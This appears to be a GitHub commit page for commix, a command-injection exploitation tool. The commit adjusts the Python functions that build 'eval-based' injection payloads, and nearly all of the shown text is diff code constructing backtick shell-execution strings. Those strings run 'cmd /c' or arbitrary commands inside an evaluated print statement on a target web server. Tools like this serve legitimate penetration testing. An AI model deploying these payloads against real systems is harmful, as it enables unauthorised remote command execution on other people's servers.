Minor fix for payload(s) in "eval-based" techninque.

commixproject · Mar 15, 2016 · 5a63749 · 5a63749
1 parent 695c89e
commit 5a63749
Show file tree

Hide file tree

Showing 2 changed files with 9 additions and 8 deletions.
diff --git a/readme/CHANGELOG.md b/readme/CHANGELOG.md
@@ -1,4 +1,5 @@
 ## Version 0.5b [2016]
+* Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator.
 * Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module). 
 * Added: Check if the user-defined os name, is different than the one identified by heuristics.
 * Added: New option "--os" that forces a user-defined os name.

diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
@@ -32,7 +32,7 @@ def decision(separator, TAG, randv1, randv2):
                   "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + 
                   "\"') do @set /p =%i <nul`." +
                   "`echo " + TAG + "`." +
-                  "`echo " + TAG + "`)%3B" +
+                  "`echo " + TAG + "`)" +
                   separator
                 )
     else:
@@ -48,7 +48,7 @@ def decision(separator, TAG, randv1, randv2):
       payload = ("print(`echo " + TAG + "`." +
                   "`echo $((" + str(randv1) + "%2B" + str(randv2) + "))`." +
                   "`echo " + TAG + "`." +
-                  "`echo " + TAG + "`)%3B" +
+                  "`echo " + TAG + "`)" +
                   separator
                 )
     else:
@@ -70,7 +70,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
       payload = ("print(`echo " + TAG + "`." +
                   "` cmd /c " + python_payload + "`." +
                   "`echo " + TAG + "`." +
-                  "`echo " + TAG + "`)%3B" +
+                  "`echo " + TAG + "`)" +
                   separator
                 )
     else:
@@ -85,7 +85,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
       payload = ("print(`echo " + TAG + "`." +
                   "` " + python_payload + "`." +
                   "`echo " + TAG + "`." +
-                  "`echo " + TAG + "`)%3B" +
+                  "`echo " + TAG + "`)" +
                   separator
                 )
     else:
@@ -111,7 +111,7 @@ def cmd_execution(separator, TAG, cmd):
                   "`echo " + TAG + "`." +
                   "` cmd /c " + cmd + "`." +
                   "`echo " + TAG + "`." +
-                  "`echo " + TAG + "`)%3B"
+                  "`echo " + TAG + "`)"
                 )
 
     else:
@@ -127,7 +127,7 @@ def cmd_execution(separator, TAG, cmd):
                   "`echo " + TAG + "`." +
                   "`" + cmd + "`." +
                   "`echo " + TAG + "`." +
-                  "`echo " + TAG + "`)%3B"
+                  "`echo " + TAG + "`)"
                 )
     else:
       payload = ("print(`echo '" + TAG + "'" + 
@@ -158,7 +158,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd):
                     "`echo " + TAG + "`." +
                     "` cmd /c " + python_payload + "`." +
                     "`echo " + TAG + "`." +
-                    "`echo " + TAG + "`)%3B"
+                    "`echo " + TAG + "`)"
                   )
       else:
         payload = ("print(`echo '" + TAG + "'" + 
@@ -173,7 +173,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd):
                   "`echo " + TAG + "`." +
                   "`" + cmd + "`." +
                   "`echo " + TAG + "`." +
-                  "`echo " + TAG + "`)%3B"
+                  "`echo " + TAG + "`)"
                 )
     else:
       payload = ("print(`echo '" + TAG + "'" +